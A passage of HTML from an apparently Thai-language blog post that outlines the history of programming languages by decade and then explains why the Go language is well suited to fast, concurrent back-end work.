720px"></figure><p>&#xE20;&#xE32;&#xE29;&#xE32;&#xE42;&#xE1B;&#xE23;&#xE41;&#xE01;&#xE23;&#xE21;&#xE21;&#xE34;&#xE48;&#xE07;&#xE21;&#xE35;&#xE27;&#xE34;&#xE27;&#xE31;&#xE12;&#xE19;&#xE32;&#xE01;&#xE32;&#xE23;&#xE08;&#xE32;&#xE01;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE49;&#xE2D;&#xE19;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE14;&#xE49;&#xE27;&#xE22;&#xE1A;&#xE31;&#xE15;&#xE23;&#xE40;&#xE08;&#xE32;&#xE30;&#xE23;&#xE39;&#xE43;&#xE19;&#xE22;&#xE38;&#xE04;&#xE41;&#xE23;&#xE01; &#xE21;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE20;&#xE32;&#xE29;&#xE32;&#xE23;&#xE30;&#xE14;&#xE31;&#xE1A;&#xE15;&#xE48;&#xE33;&#xE17;&#xE35;&#xE48;&#xE43;&#xE01;&#xE25;&#xE49;&#xE40;&#xE04;&#xE35;&#xE22;&#xE07;&#xE01;&#xE31;&#xE1A;&#xE20;&#xE32;&#xE29;&#xE32;&#xE40;&#xE04;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07; (Machine Code) &#xE43;&#xE19;&#xE22;&#xE38;&#xE04;&#xE17;&#xE35;&#xE48; 2 &#xE0B;&#xE36;&#xE48;&#xE07;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE10;&#xE32;&#xE19;&#xE17;&#xE35;&#xE48; CPU &#xE40;&#xE02;&#xE49;&#xE32;&#xE43;&#xE08;&#xE44;&#xE14;&#xE49;&#xE42;&#xE14;&#xE22;&#xE15;&#xE23;&#xE07; &#xE08;&#xE19;&#xE01;&#xE23;&#xE30;&#xE17;&#xE31;&#xE49;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE20;&#xE32;&#xE29;&#xE32;&#xE17;&#xE35;&#xE48;&#xE21;&#xE19;&#xE38;&#xE29;&#xE22;&#xE4C;&#xE40;&#xE02;&#xE49;&#xE32;&#xE43;&#xE08;&#xE44;&#xE14;&#xE49;&#xE07;&#xE48;&#xE32;&#xE22;&#xE02;&#xE36;&#xE49;&#xE19;&#xE43;&#xE19;&#xE22;&#xE38;&#xE04;&#xE17;&#xE35;&#xE48; 3 &#xE15;&#xE31;&#xE49;&#xE07;&#xE41;&#xE15;&#xE48;&#xE17;&#xE28;&#xE27;&#xE23;&#xE23;&#xE29; 1950 &#xE08;&#xE19;&#xE16;&#xE36;&#xE07;&#xE1B;&#xE31;&#xE08;&#xE08;&#xE38;&#xE1A;&#xE31;&#xE19;</p><p>&#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE20;&#xE32;&#xE29;&#xE32;&#xE21;&#xE35;&#xE08;&#xE38;&#xE14;&#xE40;&#xE14;&#xE48;&#xE19;&#xE41;&#xE25;&#xE30;&#xE27;&#xE31;&#xE15;&#xE16;&#xE38;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE07;&#xE04;&#xE4C;&#xE17;&#xE35;&#xE48;&#xE41;&#xE15;&#xE01;&#xE15;&#xE48;&#xE32;&#xE07;&#xE01;&#xE31;&#xE19; &#xE40;&#xE0A;&#xE48;&#xE19; &#xE1A;&#xE32;&#xE07;&#xE20;&#xE32;&#xE29;&#xE32;&#xE40;&#xE19;&#xE49;&#xE19;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E; &#xE1A;&#xE32;&#xE07;&#xE20;&#xE32;&#xE29;&#xE32;&#xE40;&#xE19;&#xE49;&#xE19;&#xE04;&#xE27;&#xE32;&#xE21;&#xE07;&#xE48;&#xE32;&#xE22;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE40;&#xE23;&#xE35;&#xE22;&#xE19;&#xE23;&#xE39;&#xE49; &#xE20;&#xE32;&#xE29;&#xE32;&#xE23;&#xE38;&#xE48;&#xE19;&#xE43;&#xE2B;&#xE21;&#xE48;&#xE21;&#xE31;&#xE01;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE15;&#xE48;&#xE2D;&#xE22;&#xE2D;&#xE14;&#xE08;&#xE32;&#xE01;&#xE08;&#xE38;&#xE14;&#xE41;&#xE02;&#xE47;&#xE07;&#xE02;&#xE2D;&#xE07;&#xE20;&#xE32;&#xE29;&#xE32;&#xE23;&#xE38;&#xE48;&#xE19;&#xE01;&#xE48;&#xE2D;&#xE19; &#xE41;&#xE25;&#xE30;&#xE41;&#xE01;&#xE49;&#xE44;&#xE02;&#xE02;&#xE49;&#xE2D;&#xE08;&#xE33;&#xE01;&#xE31;&#xE14;&#xE15;&#xE48;&#xE32;&#xE07;&#xE46; &#xE43;&#xE2B;&#xE49;&#xE14;&#xE35;&#xE02;&#xE36;&#xE49;&#xE19;</p><p>&#xE17;&#xE28;&#xE27;&#xE23;&#xE23;&#xE29; 1950 &#xE20;&#xE32;&#xE29;&#xE32; Fortran &#xE41;&#xE25;&#xE30; LISP &#xE19;&#xE33;&#xE40;&#xE2A;&#xE19;&#xE2D;&#xE41;&#xE19;&#xE27;&#xE04;&#xE34;&#xE14;&#xE43;&#xE2B;&#xE21;&#xE48; &#xE46; &#xE40;&#xE0A;&#xE48;&#xE19; garbage collection &#xE41;&#xE25;&#xE30; recursion</p><p>&#xE43;&#xE19;&#xE17;&#xE28;&#xE27;&#xE23;&#xE23;&#xE29; 1960 &#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE20;&#xE32;&#xE29;&#xE32; BASIC &#xE17;&#xE35;&#xE48;&#xE07;&#xE48;&#xE32;&#xE22;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE32;&#xE23;&#xE40;&#xE23;&#xE35;&#xE22;&#xE19;&#xE23;&#xE39;&#xE49;</p><p>&#xE17;&#xE28;&#xE27;&#xE23;&#xE23;&#xE29; 1970 &#xE40;&#xE01;&#xE34;&#xE14;&#xE20;&#xE32;&#xE29;&#xE32;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D; 2 &#xE15;&#xE31;&#xE27; &#xE04;&#xE37;&#xE2D; Smalltalk &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE2D;&#xE34;&#xE17;&#xE18;&#xE34;&#xE1E;&#xE25;&#xE15;&#xE48;&#xE2D;&#xE20;&#xE32;&#xE29;&#xE32; Script &#xE41;&#xE25;&#xE30;&#xE20;&#xE32;&#xE29;&#xE32;&#xE1D;&#xE31;&#xE48;&#xE07; Client &#xE41;&#xE25;&#xE30; C &#xE17;&#xE35;&#xE48;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE02;&#xE36;&#xE49;&#xE19;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE1B;&#xE0F;&#xE34;&#xE1A;&#xE31;&#xE15;&#xE34;&#xE01;&#xE32;&#xE23; Unix</p><p>&#xE17;&#xE28;&#xE27;&#xE23;&#xE23;&#xE29; 1980 &#xE40;&#xE1B;&#xE47;&#xE19;&#xE22;&#xE38;&#xE04;&#xE02;&#xE2D;&#xE07;&#xE20;&#xE32;&#xE29;&#xE32;&#xE40;&#xE0A;&#xE34;&#xE07;&#xE27;&#xE31;&#xE15;&#xE16;&#xE38; (Object-oriented) &#xE40;&#xE0A;&#xE48;&#xE19; Object-C &#xE41;&#xE25;&#xE30; C++</p><p>&#xE17;&#xE28;&#xE27;&#xE23;&#xE23;&#xE29; 1990 &#xE40;&#xE01;&#xE34;&#xE14;&#xE20;&#xE32;&#xE29;&#xE32; Python &#xE17;&#xE35;&#xE48;&#xE40;&#xE23;&#xE35;&#xE22;&#xE19;&#xE23;&#xE39;&#xE49;&#xE07;&#xE48;&#xE32;&#xE22; &#xE23;&#xE27;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07;&#xE40;&#xE01;&#xE34;&#xE14;&#xE20;&#xE32;&#xE29;&#xE32;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE2D;&#xE37;&#xE48;&#xE19; &#xE46; &#xE2D;&#xE35;&#xE01;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE15;&#xE31;&#xE27; &#xE40;&#xE0A;&#xE48;&#xE19; Java, JavaScript, PHP &#xE41;&#xE25;&#xE30; Ruby</p><p>&#xE17;&#xE28;&#xE27;&#xE23;&#xE23;&#xE29; 2000 Microsoft &#xE40;&#xE1B;&#xE34;&#xE14;&#xE15;&#xE31;&#xE27; C# &#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21; .NET framework</p><p>&#xE41;&#xE25;&#xE30;&#xE17;&#xE28;&#xE27;&#xE23;&#xE23;&#xE29; 2010-&#xE1B;&#xE31;&#xE08;&#xE08;&#xE38;&#xE1A;&#xE31;&#xE19; &#xE40;&#xE01;&#xE34;&#xE14;&#xE20;&#xE32;&#xE29;&#xE32;&#xE43;&#xE2B;&#xE21;&#xE48;&#xE43;&#xE19;&#xE15;&#xE23;&#xE30;&#xE01;&#xE39;&#xE25; C++ &#xE04;&#xE37;&#xE2D;&#xE20;&#xE32;&#xE29;&#xE32; D, Rust, Zig, Carbon &#xE43;&#xE19;&#xE15;&#xE23;&#xE30;&#xE01;&#xE39;&#xE25; Java &#xE40;&#xE01;&#xE34;&#xE14;&#xE20;&#xE32;&#xE29;&#xE32; Golang &#xE41;&#xE25;&#xE30; Kotlin</p><p>&#xE40;&#xE01;&#xE34;&#xE14; Dart &#xE17;&#xE35;&#xE48;&#xE44;&#xE14;&#xE49;&#xE23;&#xE31;&#xE1A;&#xE04;&#xE27;&#xE32;&#xE21;&#xE19;&#xE34;&#xE22;&#xE21;&#xE08;&#xE32;&#xE01; Flutter &#xE41;&#xE25;&#xE30;&#xE40;&#xE01;&#xE34;&#xE14; TypeScript &#xE17;&#xE35;&#xE48;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE23;&#xE48;&#xE27;&#xE21;&#xE01;&#xE31;&#xE1A; JavaScript &#xE23;&#xE27;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07; Swift &#xE0B;&#xE36;&#xE48;&#xE07;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE42;&#xE14;&#xE22; Apple &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE41;&#xE17;&#xE19;&#xE17;&#xE35;&#xE48; Objective-C</p><p><em><strong>&#xE17;&#xE33;&#xE44;&#xE21; Go &#xE16;&#xE36;&#xE07;&#xE40;&#xE08;&#xE4B;&#xE07;?</strong></em></p><p><strong>Go &#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE44;&#xE14;&#xE49;&#xE40;&#xE23;&#xE47;&#xE27;</strong> &#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE23;&#xE16;&#xE41;&#xE02;&#xE48;&#xE07;&#xE17;&#xE35;&#xE48;&#xE27;&#xE34;&#xE48;&#xE07;&#xE44;&#xE14;&#xE49;&#xE40;&#xE23;&#xE47;&#xE27;&#xE01;&#xE27;&#xE48;&#xE32;&#xE23;&#xE16;&#xE17;&#xE31;&#xE48;&#xE27;&#xE44;&#xE1B; (Interpreted Language) &#xE14;&#xE49;&#xE27;&#xE22;&#xE01;&#xE32;&#xE23; Compile Code &#xE40;&#xE1B;&#xE47;&#xE19;&#xE20;&#xE32;&#xE29;&#xE32;&#xE40;&#xE04;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE42;&#xE14;&#xE22;&#xE15;&#xE23;&#xE07; &#xE43;&#xE0A;&#xE49;&#xE2B;&#xE19;&#xE48;&#xE27;&#xE22;&#xE04;&#xE27;&#xE32;&#xE21;&#xE08;&#xE33;&#xE19;&#xE49;&#xE2D;&#xE22; &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE40;&#xE23;&#xE47;&#xE27; &#xE40;&#xE2B;&#xE21;&#xE32;&#xE30;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE1A;&#xE19; Server</p><p>Go &#xE40;&#xE1B;&#xE47;&#xE19;&#xE20;&#xE32;&#xE29;&#xE32;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;&#xE2A;&#xE39;&#xE07;&#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE01;&#xE31;&#xE1A; C++ &#xE17;&#xE35;&#xE48;&#xE40;&#xE1B;&#xE47;&#xE19; Compiled Language &#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE01;&#xE31;&#xE19; &#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE44;&#xE23;&#xE01;&#xE47;&#xE15;&#xE32;&#xE21;&#xE43;&#xE19;&#xE1A;&#xE32;&#xE07;&#xE01;&#xE23;&#xE13;&#xE35; C++ &#xE01;&#xE47;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE21;&#xE35;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;&#xE17;&#xE35;&#xE48;&#xE43;&#xE01;&#xE25;&#xE49;&#xE40;&#xE04;&#xE35;&#xE22;&#xE07;&#xE2B;&#xE23;&#xE37;&#xE2D;&#xE14;&#xE35;&#xE01;&#xE27;&#xE48;&#xE32;&#xE44;&#xE14;&#xE49;</p><p><strong>Go &#xE21;&#xE35; Garbage Collector &#xE17;&#xE35;&#xE48;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE2B;&#xE19;&#xE48;&#xE27;&#xE22;&#xE04;&#xE27;&#xE32;&#xE21;&#xE08;&#xE33;&#xE2D;&#xE31;&#xE15;&#xE42;&#xE19;&#xE21;&#xE31;&#xE15;&#xE34;</strong> &#xE25;&#xE14;&#xE20;&#xE32;&#xE23;&#xE30;&#xE02;&#xE2D;&#xE07;&#xE19;&#xE31;&#xE01;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE2B;&#xE19;&#xE48;&#xE27;&#xE22;&#xE04;&#xE27;&#xE32;&#xE21;&#xE08;&#xE33;&#xE40;&#xE2D;&#xE07; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE41;&#xE15;&#xE01;&#xE15;&#xE48;&#xE32;&#xE07;&#xE08;&#xE32;&#xE01; C++ &#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE2B;&#xE19;&#xE48;&#xE27;&#xE22;&#xE04;&#xE27;&#xE32;&#xE21;&#xE08;&#xE33;&#xE14;&#xE49;&#xE27;&#xE22;&#xE15;&#xE19;&#xE40;&#xE2D;&#xE07;</p><p><strong>Go &#xE40;&#xE23;&#xE35;&#xE22;&#xE19;&#xE23;&#xE39;&#xE49;&#xE07;&#xE48;&#xE32;&#xE22; &#xE44;&#xE21;&#xE48;&#xE0B;&#xE31;&#xE1A;&#xE0B;&#xE49;&#xE2D;&#xE19;</strong> &#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE01;&#xE32;&#xE23;&#xE40;&#xE23;&#xE35;&#xE22;&#xE19;&#xE23;&#xE39;&#xE49;&#xE27;&#xE34;&#xE18;&#xE35;&#xE17;&#xE33;&#xE41;&#xE0B;&#xE19;&#xE14;&#xE4C;&#xE27;&#xE34;&#xE0A;</p><p>&#xE16;&#xE49;&#xE32;&#xE40;&#xE23;&#xE35;&#xE22;&#xE07;&#xE23;&#xE30;&#xE14;&#xE31;&#xE1A;&#xE20;&#xE32;&#xE29;&#xE32;&#xE08;&#xE32;&#xE01;&#xE2A;&#xE39;&#xE07;&#xE44;&#xE1B;&#xE15;&#xE48;&#xE33; Go &#xE08;&#xE31;&#xE14;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE20;&#xE32;&#xE29;&#xE32;&#xE23;&#xE30;&#xE14;&#xE31;&#xE1A;&#xE2A;&#xE39;&#xE07;&#xE01;&#xE27;&#xE48;&#xE32; C++ &#xE41;&#xE25;&#xE30;&#xE21;&#xE35;&#xE44;&#xE27;&#xE22;&#xE01;&#xE23;&#xE13;&#xE4C;&#xE40;&#xE23;&#xE35;&#xE22;&#xE1A;&#xE07;&#xE48;&#xE32;&#xE22; &#xE08;&#xE36;&#xE07;&#xE07;&#xE48;&#xE32;&#xE22;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE48;&#xE32;&#xE19; &#xE17;&#xE33;&#xE04;&#xE27;&#xE32;&#xE21;&#xE40;&#xE02;&#xE49;&#xE32;&#xE43;&#xE08; &#xE41;&#xE25;&#xE30;&#xE40;&#xE23;&#xE35;&#xE22;&#xE19;&#xE23;&#xE39;&#xE49;</p><p>Python &gt; Go &gt; Rust &gt; C++ &gt; Assembly &gt; Machine Code</p><p><strong>Go &#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE01;&#xE31;&#xE19;&#xE44;&#xE14;&#xE49;&#xE40;&#xE01;&#xE48;&#xE07;</strong> &#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE21;&#xE35;&#xE1C;&#xE39;&#xE49;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE04;&#xE19;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE43;&#xE2B;&#xE49; Go &#xE21;&#xE35; Goroutine &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE41;&#xE1A;&#xE1A; Concurrency &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;&#xE2A;&#xE39;&#xE07; &#xE40;&#xE19;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE08;&#xE32;&#xE01;&#xE21;&#xE35; Overhead &#xE15;&#xE48;&#xE33; &#xE41;&#xE25;&#xE30; Channel &#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE37;&#xE48;&#xE2D;&#xE2A;&#xE32;&#xE23;&#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07; Goroutine &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19;&#xE42;&#xE1B;&#xE23;&#xE41;&#xE01;&#xE23;&#xE21; Concurrent &#xE07;&#xE48;&#xE32;&#xE22;&#xE41;&#xE25;&#xE30;&#xE1B;&#xE25;&#xE2D;&#xE14;&#xE20;&#xE31;&#xE22;</p><p><strong>Go &#xE21;&#xE35;&#xE0A;&#xE38;&#xE21;&#xE0A;&#xE19;&#xE19;&#xE31;&#xE01;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE17;&#xE35;&#xE48;&#xE43;&#xE2B;&#xE0D;&#xE48;&#xE41;&#xE25;&#xE30;&#xE01;&#xE23;&#xE30;&#xE15;&#xE37;&#xE2D;&#xE23;&#xE37;&#xE2D;&#xE23;&#xE49;&#xE19;</strong> &#xE21;&#xE35;&#xE04;&#xE19;&#xE43;&#xE0A;&#xE49;&#xE41;&#xE25;&#xE30;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE40;&#xE2B;&#xE25;&#xE37;&#xE2D;&#xE01;&#xE31;&#xE19;&#xE40;&#xE22;&#xE2D;&#xE30; &#xE21;&#xE35; Package &#xE41;&#xE25;&#xE30; Tool &#xE21;&#xE32;&#xE01;&#xE21;&#xE32;&#xE22; &#xE40;&#xE0A;&#xE48;&#xE19;&#xE17;&#xE35;&#xE48; <a href="https://go.dev/?ref=blog.pjjop.org">https://go.dev</a> &#xE41;&#xE25;&#xE30; <a href="https://www.reddit.com/r/golang/?ref=blog.pjjop.org">https://www.reddit.com/r/golang</a></p><p><strong>Go &#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE01;&#xE31;&#xE1A; Computer &#xE44;&#xE14;&#xE49;&#xE2B;&#xE25;&#xE32;&#xE01;&#xE2B;&#xE25;&#xE32;&#xE22;</strong> &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16; Compile &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE1B;&#xE0F;&#xE34;&#xE1A;&#xE31;&#xE15;&#xE34;&#xE01;&#xE32;&#xE23;&#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE44;&#xE14;&#xE49;&#xE07;&#xE48;&#xE32;&#xE22; &#xE17;&#xE31;&#xE49;&#xE07; Windows, Mac, Linux, Raspberry Pi &#xE2F;&#xE25;&#xE2F; &#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE23;&#xE2D;&#xE07;&#xE40;&#xE17;&#xE49;&#xE32;&#xE17;&#xE35;&#xE48;&#xE43;&#xE2A;&#xE48;&#xE44;&#xE14;&#xE49;&#xE01;&#xE31;&#xE1A;&#xE17;&#xE38;&#xE01;&#xE0A;&#xE38;&#xE14;</p><p><strong>Go Compile &#xE44;&#xE14;&#xE49;&#xE40;&#xE23;&#xE47;&#xE27;</strong> &#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE2B;&#xE49;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE41;&#xE25;&#xE30;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE44;&#xE14;&#xE49;&#xE23;&#xE27;&#xE14;&#xE40;&#xE23;&#xE47;&#xE27;</p><p><strong>Go &#xE40;&#xE2B;&#xE21;&#xE32;&#xE30;&#xE01;&#xE31;&#xE1A; Microservice</strong> &#xE14;&#xE49;&#xE27;&#xE22;&#xE04;&#xE27;&#xE32;&#xE21;&#xE40;&#xE23;&#xE47;&#xE27;&#xE41;&#xE25;&#xE30;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E; &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE2B;&#xE21;&#xE32;&#xE30;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Microservice</p><p><strong>Go &#xE40;&#xE1B;&#xE47;&#xE19;&#xE20;&#xE32;&#xE29;&#xE32;&#xE17;&#xE35;&#xE48;&#xE1C;&#xE2A;&#xE21;&#xE1C;&#xE2A;&#xE32;&#xE19;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE41;&#xE19;&#xE27;&#xE04;&#xE34;&#xE14;&#xE40;&#xE02;&#xE49;&#xE32;&#xE14;&#xE49;&#xE27;&#xE22;&#xE01;&#xE31;&#xE19;</strong> &#xE17;&#xE31;&#xE49;&#xE07;&#xE41;&#xE1A;&#xE1A; <strong>Procedural</strong> &#xE42;&#xE14;&#xE22;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE19;&#xE31;&#xE1A;&#xE2A;&#xE19;&#xE38;&#xE19;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19; Code &#xE40;&#xE1B;&#xE47;&#xE19;&#xE25;&#xE33;&#xE14;&#xE31;&#xE1A;&#xE02;&#xE31;&#xE49;&#xE19;&#xE15;&#xE2D;&#xE19; &#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE15;&#xE32;&#xE21;&#xE2A;&#xE39;&#xE15;&#xE23;&#xE2D;&#xE32;&#xE2B;&#xE32;&#xE23; &#xE41;&#xE25;&#xE30;&#xE41;&#xE1A;&#xE1A; <strong>Functional</strong> &#xE42;&#xE14;&#xE22; Go &#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE2A;&#xE48;&#xE07; Function &#xE40;&#xE1B;&#xE47;&#xE19; Parameter &#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE48;&#xE07;&#xE40;&#xE04;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE21;&#xE37;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE19;&#xE43;&#xE0A;&#xE49;</p><p>Go &#xE44;&#xE21;&#xE48;&#xE43;&#xE0A;&#xE48;&#xE20;&#xE32;&#xE29;&#xE32; <strong>Object-oriented</strong> &#xE41;&#xE1A;&#xE1A;&#xE14;&#xE31;&#xE49;&#xE07;&#xE40;&#xE14;&#xE34;&#xE21; &#xE41;&#xE15;&#xE48;&#xE21;&#xE35; Struct, Method &#xE41;&#xE25;&#xE30; Interface &#xE17;&#xE35;&#xE48;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE44;&#xE14;&#xE49;&#xE04;&#xE25;&#xE49;&#xE32;&#xE22; &#xE46; &#xE01;&#xE31;&#xE19;</p><p>&#xE2A;&#xE23;&#xE38;&#xE1B;&#xE41;&#xE25;&#xE49;&#xE27; Go &#xE40;&#xE1B;&#xE47;&#xE19;&#xE20;&#xE32;&#xE29;&#xE32;&#xE17;&#xE35;&#xE48;&#xE22;&#xE37;&#xE14;&#xE2B;&#xE22;&#xE38;&#xE48;&#xE19; &#xE1C;&#xE2A;&#xE21;&#xE1C;&#xE2A;&#xE32;&#xE19;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE41;&#xE19;&#xE27;&#xE04;&#xE34;&#xE14;&#xE40;&#xE02;&#xE49;&#xE32;&#xE14;&#xE49;&#xE27;&#xE22;&#xE01;&#xE31;&#xE19; &#xE41;&#xE15;&#xE48;&#xE40;&#xE19;&#xE49;&#xE19;&#xE04;&#xE27;&#xE32;&#xE21;&#xE40;&#xE23;&#xE35;&#xE22;&#xE1A;&#xE07;&#xE48;&#xE32;&#xE22;&#xE41;&#xE25;&#xE30;&#xE21;&#xE35;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E; &#xE40;&#xE1B;&#xE47;&#xE19;&#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE21;&#xE35;&#xE14; Swiss &#xE17;&#xE35;&#xE48;&#xE17;&#xE33;&#xE44;&#xE14;&#xE49;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07; &#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE07;&#xE48;&#xE32;&#xE22; &#xE41;&#xE15;&#xE48;&#xE17;&#xE23;&#xE07;&#xE1E;&#xE25;&#xE31;&#xE07; &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE15;&#xE31;&#xE27;&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01;&#xE17;&#xE35;&#xE48;&#xE14;&#xE35;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; Back End &#xE42;&#xE14;&#xE22;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;&#xE2A;&#xE39;&#xE07;&#xE41;&#xE25;&#xE30;&#xE23;&#xE2D;&#xE07;&#xE23;&#xE31;&#xE1A;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE21;&#xE32;&#xE01; &#xE40;&#xE0A;&#xE48;&#xE19; E-commerace Platform &#xE04;&#xE23;&#xE31;&#xE1A;</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/07/IMG_3734.jpg" class="kg-image" alt loading="lazy" width="2000" height="1374" srcset="https://blog.pjjop.org/content/images/size/w600/2024/07/IMG_3734.jpg 600w, https://blog.pjjop.org/content/images/size/w1000/2024/07/IMG_3734.jpg 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/07/IMG_3734.jpg 1600w, 